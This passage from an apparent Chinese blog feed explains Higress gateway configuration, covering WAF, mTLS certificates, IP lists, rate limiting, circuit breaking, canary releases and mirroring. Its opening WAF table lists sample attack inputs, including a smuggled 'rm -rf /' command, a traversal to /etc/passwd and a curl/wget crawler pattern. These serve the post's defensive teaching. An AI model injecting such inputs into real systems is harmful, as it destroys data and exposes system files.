&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代码注入&lt;/td&gt;
&lt;td&gt;检测系统命令&lt;/td&gt;
&lt;td&gt;&lt;code&gt;; rm -rf /&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路径遍历&lt;/td&gt;
&lt;td&gt;检测目录跳转&lt;/td&gt;
&lt;td&gt;&lt;code&gt;../../etc/passwd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CC 攻击&lt;/td&gt;
&lt;td&gt;频率限制&lt;/td&gt;
&lt;td&gt;1000 QPS from single IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;恶意爬虫&lt;/td&gt;
&lt;td&gt;User-Agent 检测&lt;/td&gt;
&lt;td&gt;&lt;code&gt;curl/wget/scrapy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;mTLS 双向认证&lt;/h2&gt;
&lt;h3&gt;配置 mTLS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: mtls-route
  annotations:
    higress.io/tls-mode: &quot;mutual&quot;
    # 服务端证书
    higress.io/tls-cert: &quot;server-cert-secret&quot;
    # CA 证书（验证客户端）
    higress.io/tls-ca-cert: &quot;ca-cert-secret&quot;
    # 客户端证书必须匹配
    higress.io/tls-verify-client: &quot;required&quot;
spec:
  ingressClassName: higress
  tls:
    - hosts:
        - secure.example.com
      secretName: server-cert-secret
  rules:
    - host: secure.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: secure-service
                port: { number: 8443 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建证书 Secret&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 生成 CA
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt \
  -subj &quot;/CN=MyCA/O=MyOrg&quot;

# 2. 生成服务端证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr \
  -subj &quot;/CN=secure.example.com&quot;
openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca.key \
  -CAcreateserial -out server.crt

# 3. 创建 K8s Secret
kubectl create secret tls server-cert-secret \
  --cert=server.crt --key=server.key -n higress-system

kubectl create secret generic ca-cert-secret \
  --from-file=ca.crt -n higress-system

# 4. 生成客户端证书（给调用方）
openssl genrsa -out client.key 2048
openssl req -new -key client.key -out client.csr \
  -subj &quot;/CN=client-app&quot;
openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key \
  -CAcreateserial -out client.crt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;客户端调用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl --cert client.crt --key client.key --cacert ca.crt \
  https://secure.example.com/api/data
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;IP 黑白名单&lt;/h2&gt;
&lt;h3&gt;IP 白名单&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/ip-whitelist: &quot;192.168.1.0/24,10.0.0.100,172.16.0.0/16&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;IP 黑名单&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/ip-blacklist: &quot;1.2.3.4,5.6.7.0/24&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;获取真实客户端 IP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 如果 Higress 前面有 LB（如云厂商 SLB）
metadata:
  annotations:
    higress.io/use-real-ip: &quot;true&quot;
    higress.io/real-ip-header: &quot;X-Forwarded-For&quot;
    higress.io/real-ip-recursive: &quot;true&quot;
    # 信任的代理数量（从右往左数）
    higress.io/trusted-proxy-count: &quot;2&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;组合安全策略&lt;/h2&gt;
&lt;h3&gt;完整安全配置示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: secure-api
  annotations:
    # 1. IP 白名单（只允许内网）
    higress.io/ip-whitelist: &quot;10.0.0.0/8,172.16.0.0/12,192.168.0.0/16&quot;
    
    # 2. CORS（只允许指定域名）
    higress.io/enable-cors: &quot;true&quot;
    higress.io/cors-allow-origin: &quot;https://admin.example.com&quot;
    higress.io/cors-allow-methods: &quot;GET,POST,PUT,DELETE&quot;
    higress.io/cors-allow-credentials: &quot;true&quot;
    
    # 3. WAF（防 SQL 注入/XSS）
    higress.io/waf-enabled: &quot;true&quot;
    higress.io/waf-rules: &quot;sql-injection,xss,code-injection&quot;
    higress.io/waf-mode: &quot;block&quot;
    
    # 4. JWT 认证
    higress.io/auth-type: &quot;jwt&quot;
    higress.io/auth-jwt-jwks-uri: &quot;https://auth.example.com/.well-known/jwks.json&quot;
    higress.io/auth-jwt-issuer: &quot;https://auth.example.com&quot;
    higress.io/auth-white-list: &quot;/api/health,/api/login&quot;
    
    # 5. 限流（防暴力破解）
    higress.io/limit-rps: &quot;100&quot;
    higress.io/limit-by-ip: &quot;true&quot;
    
    # 6. mTLS（高安全场景）
    # higress.io/tls-mode: &quot;mutual&quot;
    # higress.io/tls-ca-cert: &quot;ca-cert-secret&quot;
spec:
  ingressClassName: higress
  tls:
    - hosts:
        - secure-api.example.com
      secretName: api-tls-cert
  rules:
    - host: secure-api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: JWT 认证返回 401&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查 JWT 格式
echo &quot;eyJhbGciOiJIUzI1NiIs...&quot; | cut -d&apos;.&apos; -f2 | base64 -d | jq

# 2. 验证签名（jwt.io 或命令行）
# 确认 secret/公钥正确

# 3. 检查 Claims
# - exp 是否过期
# - iss 是否匹配
# - aud 是否匹配

# 4. 查看 Higress 日志
kubectl logs -n higress-system deploy/higress-gateway | grep jwt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: CORS 预检请求失败&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 确认 OPTIONS 请求响应
curl -X OPTIONS -H &quot;Origin: https://web.example.com&quot; \
  -H &quot;Access-Control-Request-Method: POST&quot; \
  -v https://api.example.com/api/data

# 2. 检查响应 Header
# Access-Control-Allow-Origin 必须匹配 Origin
# Access-Control-Allow-Methods 必须包含请求方法

# 3. 确认 allow-credentials
# 如果前端 withCredentials: true，后端必须设置 allow-credentials: true
# 且 allow-origin 不能是 *
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: mTLS 握手失败&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 验证证书链
openssl verify -CAfile ca.crt client.crt

# 2. 检查证书有效期
openssl x509 -in client.crt -noout -dates

# 3. 检查 CN/SAN
openssl x509 -in server.crt -noout -subject -ext subjectAltName

# 4. 测试连接
openssl s_client -connect secure.example.com:443 \
  -cert client.crt -key client.key -CAfile ca.crt -debug
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JWT 认证&lt;/strong&gt;：JWKS URI / 本地密钥，验证签名 + Claims（iss/aud/exp）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth2&lt;/strong&gt;：授权码模式，Cookie 存储 Token，自动重定向&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API Key&lt;/strong&gt;：Header/Query 传递，结合限流按 Key 配额&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CORS&lt;/strong&gt;：allow-origin/methods/headers/credentials，预检请求自动处理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WAF&lt;/strong&gt;：SQL 注入/XSS/CC 攻击防护，OWASP CRS 规则集&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mTLS&lt;/strong&gt;：双向证书验证，CA 签发服务端 + 客户端证书&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP 黑白名单&lt;/strong&gt;：CIDR 格式，注意获取真实 IP（X-Forwarded-For）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组合策略&lt;/strong&gt;：IP 白名单 → CORS → WAF → 认证 → 限流 → mTLS&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-07-observability/&quot;&gt;可观测性&lt;/a&gt; 将讲解访问日志、Metrics、Tracing、Prometheus/Grafana/SkyWalking 集成。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 流量治理</title><link>http://117.72.32.87/blog/posts/higress-roadmap-05-traffic-management/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-05-traffic-management/</guid><description>详解 Higress 流量治理能力：限流、熔断、重试、超时、灰度发布、金丝雀部署、蓝绿部署、流量镜像。</description><pubDate>Thu, 17 Sep 2026 04:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
流量治理是网关的核心价值。Higress 提供限流、熔断、重试、超时、灰度等能力，保障系统稳定性和发布安全。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;流量治理能力全景&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;请求进入
   │
   ▼
┌─────────────┐
│  限流       │  ← 控制 QPS/并发，防止过载
├─────────────┤
│  熔断       │  ← 上游故障时快速失败，防止雪崩
├─────────────┤
│  重试       │  ← 瞬时故障自动重试
├─────────────┤
│  超时       │  ← 控制响应时间
├─────────────┤
│  灰度路由   │  ← 按权重/Header/Cookie 分流
├─────────────┤
│  流量镜像   │  ← 复制流量到测试环境
└─────────────┘
   │
   ▼
上游服务
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;限流（Rate Limiting）&lt;/h2&gt;
&lt;h3&gt;全局限流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 全局限流：1000 QPS
    higress.io/limit-rps: &quot;1000&quot;
    # 突发流量：允许 2000（令牌桶）
    higress.io/limit-burst-multiplier: &quot;2&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;按维度限流&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    # 按 Header 限流（每个用户独立配额）
    higress.io/limit-by-header: &quot;X-User-ID&quot;
    higress.io/limit-rps: &quot;100&quot;
    
    # 按 IP 限流
    higress.io/limit-by-ip: &quot;true&quot;
    higress.io/limit-rps: &quot;50&quot;
    
    # 按路径限流（不同 API 不同配额）
    higress.io/limit-by-path: &quot;true&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;集群限流（Redis）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ConfigMap 配置全局集群限流
apiVersion: v1
kind: ConfigMap
metadata:
  name: higress-config
  namespace: higress-system
data:
  higress: |
    rateLimit:
      redis:
        service: redis.redis.svc.cluster.local
        port: 6379
        timeout: 1000
        database: 0
      # 默认限流规则
      rules:
        - name: global-limit
          limit: 10000        # 10000 QPS
          limitByKey: &quot;header:X-User-ID&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;限流响应定制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/limit-rps: &quot;100&quot;
    higress.io/limit-rejected-code: &quot;429&quot;
    higress.io/limit-rejected-body: &apos;{&quot;error&quot;:&quot;Too Many Requests&quot;,&quot;retryAfter&quot;:60}&apos;
    higress.io/limit-rejected-header: &quot;Retry-After:60&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;熔断（Circuit Breaking）&lt;/h2&gt;
&lt;h3&gt;熔断原理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;状态机：
┌─────────┐  失败率 &amp;gt; 阈值  ┌─────────┐
│ CLOSED  │ ─────────────→ │  OPEN   │
│（正常）  │                │（熔断）  │
└─────────┘                └─────────┘
     ↑                          │
     │    探测成功               │ 超时后
     │  ←─────────────────────  ▼
     │                    ┌─────────┐
     └─────────────────── │ HALF-   │
                          │ OPEN    │
                          │（探测）  │
                          └─────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;熔断配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 熔断：连续 5 次 5xx 后熔断
    higress.io/circuit-breaker-consecutive-5xx: &quot;5&quot;
    # 熔断时长：30s
    higress.io/circuit-breaker-sleep-window: &quot;30s&quot;
    # 最小请求数（避免误判）
    higress.io/circuit-breaker-min-request-volume: &quot;20&quot;
    # 错误率阈值（50%）
    higress.io/circuit-breaker-error-percent: &quot;50&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;熔断降级响应&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/circuit-breaker-consecutive-5xx: &quot;5&quot;
    # 熔断时返回自定义响应
    higress.io/circuit-breaker-fallback-code: &quot;503&quot;
    higress.io/circuit-breaker-fallback-body: &apos;{&quot;error&quot;:&quot;Service Unavailable&quot;,&quot;message&quot;:&quot;Circuit breaker open&quot;}&apos;
    # 或降级到备用服务
    higress.io/circuit-breaker-fallback-service: &quot;backup-service.default.svc.cluster.local:8080&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;重试（Retry）&lt;/h2&gt;
&lt;h3&gt;重试策略&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    # 重试次数
    higress.io/retry-count: &quot;3&quot;
    # 重试超时
    higress.io/retry-timeout: &quot;10s&quot;
    # 重试条件
    higress.io/retry-on: &quot;5xx,reset,connect-failure,retriable-4xx&quot;
    # 重试间隔（指数退避）
    higress.io/retry-back-off-base-interval-ms: &quot;100&quot;
    higress.io/retry-back-off-max-interval-ms: &quot;1000&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;重试条件详解&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;5xx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游返回 5xx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;reset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;连接被重置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connect-failure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP 连接失败&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;retriable-4xx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;可重试的 4xx（409 Conflict 等）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gateway-error&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;网关内部错误&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;refused-stream&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上游拒绝流&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;不重试的场景&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# POST 请求默认不重试（幂等性考虑）
# 如需强制重试：
metadata:
  annotations:
    higress.io/retry-count: &quot;3&quot;
    higress.io/retry-on: &quot;5xx&quot;
    higress.io/retry-non-idempotent: &quot;true&quot;   # 允许非幂等请求重试
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;超时（Timeout）&lt;/h2&gt;
&lt;h3&gt;超时配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    # 连接超时（TCP 握手）
    higress.io/connect-timeout: &quot;5s&quot;
    # 请求超时（完整请求）
    higress.io/request-timeout: &quot;30s&quot;
    # 上游响应超时（等待首字节）
    higress.io/upstream-response-timeout: &quot;10s&quot;
    # 空闲超时（Keep-Alive）
    higress.io/idle-timeout: &quot;60s&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;超时层级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;客户端 ←─── request-timeout ───→ Higress ←─── upstream-response-timeout ───→ 上游服务
                                     ↑
                              connect-timeout
                              （TCP 握手）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;灰度发布&lt;/h2&gt;
&lt;h3&gt;基于权重（金丝雀）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 稳定版本（90%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-stable
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-stable
                port: { number: 8080 }

---
# 灰度版本（10%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-canary
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-weight: &quot;10&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-canary
                port: { number: 8080 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;基于 Header（定向灰度）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 只有 X-Env: canary 的请求才到灰度版本
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-canary-header
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-by-header: &quot;X-Env&quot;
    higress.io/canary-by-header-value: &quot;canary&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-canary
                port: { number: 8080 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;基于 Cookie（用户灰度）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;metadata:
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-by-cookie: &quot;gray_user&quot;
    # Cookie gray_user=always → 灰度
    # Cookie gray_user=never → 稳定版
    # 无 Cookie → 按权重分配
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;灰度发布流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 部署灰度版本（api-canary）
2. 创建 Canary Ingress（权重 5%）
3. 观察监控（错误率、延迟、业务指标）
4. 逐步增加权重：5% → 20% → 50% → 100%
5. 全量后删除稳定版，重命名灰度版为稳定版
6. 清理 Canary Ingress
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;蓝绿部署&lt;/h2&gt;
&lt;h3&gt;原理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────┐         ┌─────────────┐
│   Blue      │         │   Green     │
│  (当前生产)  │         │  (新版本)   │
│  v1.0       │         │  v2.0       │
└─────────────┘         └─────────────┘
       ↑                       ↑
       │    切换 Ingress       │
       └───────────────────────┘
       
切换瞬间完成，回滚也只需切回 Blue
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 初始：Blue 环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-blue
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-blue
                port: { number: 8080 }

---
# 部署 Green 环境后，切换 Ingress
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-green    # 新名称
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-green    # 切换到 Green
                port: { number: 8080 }

# 删除旧的 Blue Ingress
kubectl delete ingress api-blue
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;流量镜像（Traffic Mirroring）&lt;/h2&gt;
&lt;h3&gt;适用场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;新版本测试（复制生产流量到测试环境）&lt;/li&gt;
&lt;li&gt;A/B 测试数据收集&lt;/li&gt;
&lt;li&gt;安全审计（复制流量到分析系统）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-route
  annotations:
    # 镜像 10% 流量到测试服务
    higress.io/mirror-service: &quot;api-test.default.svc.cluster.local:8080&quot;
    higress.io/mirror-percent: &quot;10&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            backend:
              service:
                name: api-prod
                port: { number: 8080 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：镜像请求的响应会被丢弃，不影响客户端。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;实战案例&lt;/h2&gt;
&lt;h3&gt;案例 1：API 网关完整流量治理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-gateway
  annotations:
    # 限流
    higress.io/limit-rps: &quot;1000&quot;
    higress.io/limit-by-ip: &quot;true&quot;
    higress.io/limit-rejected-code: &quot;429&quot;
    
    # 熔断
    higress.io/circuit-breaker-consecutive-5xx: &quot;5&quot;
    higress.io/circuit-breaker-sleep-window: &quot;30s&quot;
    higress.io/circuit-breaker-error-percent: &quot;50&quot;
    
    # 重试
    higress.io/retry-count: &quot;3&quot;
    higress.io/retry-timeout: &quot;10s&quot;
    higress.io/retry-on: &quot;5xx,reset,connect-failure&quot;
    
    # 超时
    higress.io/connect-timeout: &quot;5s&quot;
    higress.io/request-timeout: &quot;30s&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;案例 2：渐进式灰度发布&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Step 1: 部署新版本
kubectl apply -f deployment-canary.yaml

# Step 2: 5% 流量
kubectl apply -f ingress-canary-5.yaml

# Step 3: 观察 10 分钟，检查监控
# - 错误率 &amp;lt; 1%
# - P99 延迟 &amp;lt; 500ms
# - 业务指标正常

# Step 4: 20% 流量
kubectl apply -f ingress-canary-20.yaml

# Step 5: 50% 流量
kubectl apply -f ingress-canary-50.yaml

# Step 6: 100% 流量（切换为主版本）
kubectl apply -f ingress-canary-100.yaml

# Step 7: 清理旧版本
kubectl delete deployment api-stable
kubectl delete ingress api-stable
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: 限流不生效&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查注解是否正确
kubectl get ingress api-route -o yaml | grep higress.io/limit

# 2. 检查 Envoy 配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq &apos;.configs[] | select(.[&quot;@type&quot;]==&quot;type.googleapis.com/envoy.admin.v3.ListenersConfigDump&quot;)&apos;

# 3. 确认限流维度
# limit-by-header 需要请求携带对应 Header
# limit-by-ip 需要获取真实客户端 IP（X-Forwarded-For）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 熔断频繁触发&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查上游服务健康状态
kubectl get pods -l app=api-service
kubectl logs -l app=api-service --tail=100

# 2. 调整熔断阈值
higress.io/circuit-breaker-consecutive-5xx: &quot;10&quot;    # 放宽
higress.io/circuit-breaker-min-request-volume: &quot;50&quot; # 提高最小请求数

# 3. 查看熔断状态
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/clusters | grep circuit_breaker
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 灰度发布流量分配不均&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 确认 Canary Ingress 配置
kubectl get ingress -l higress.io/canary=true

# 2. 检查权重总和
# 多个 Canary Ingress 权重总和应为 100

# 3. 查看 Envoy 路由配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq &apos;.configs[] | select(.[&quot;@type&quot;]==&quot;type.googleapis.com/envoy.admin.v3.RoutesConfigDump&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;限流&lt;/strong&gt;：&lt;code&gt;limit-rps&lt;/code&gt;（QPS）、&lt;code&gt;limit-by-header/ip/path&lt;/code&gt;（维度）、Redis 集群限流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;熔断&lt;/strong&gt;：连续 5xx / 错误率阈值 → OPEN → sleep-window → HALF-OPEN → 探测&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重试&lt;/strong&gt;：&lt;code&gt;retry-count&lt;/code&gt;、&lt;code&gt;retry-on: 5xx,reset,connect-failure&lt;/code&gt;、指数退避&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;超时&lt;/strong&gt;：connect-timeout（握手）、request-timeout（完整）、upstream-response-timeout（首字节）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灰度发布&lt;/strong&gt;：权重（金丝雀）、Header（定向）、Cookie（用户）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;蓝绿部署&lt;/strong&gt;：两套环境，切换 Ingress，瞬间完成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量镜像&lt;/strong&gt;：复制流量到测试环境，响应丢弃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渐进式发布&lt;/strong&gt;：5% → 20% → 50% → 100%，每步观察监控&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-06-security/&quot;&gt;安全认证&lt;/a&gt; 将讲解 JWT/OAuth2/API Key/CORS/WAF/mTLS/IP 黑白名单等安全能力。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 服务发现</title><link>http://117.72.32.87/blog/posts/higress-roadmap-04-service-discovery/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-04-service-discovery/</guid><description>详解 Higress 服务发现机制：K8s Service、Nacos、Consul、Eureka、DNS、静态服务，以及 McpBridge CRD 配置。</description><pubDate>Thu, 17 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
服务发现是网关的核心能力。Higress 支持多种注册中心，通过 McpBridge CRD 统一配置，实现动态服务发现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;服务发现类型对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;动态更新&lt;/th&gt;
&lt;th&gt;健康检查&lt;/th&gt;
&lt;th&gt;配置复杂度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;K8s Service&lt;/td&gt;
&lt;td&gt;K8s 原生应用&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅（K8s 内置）&lt;/td&gt;
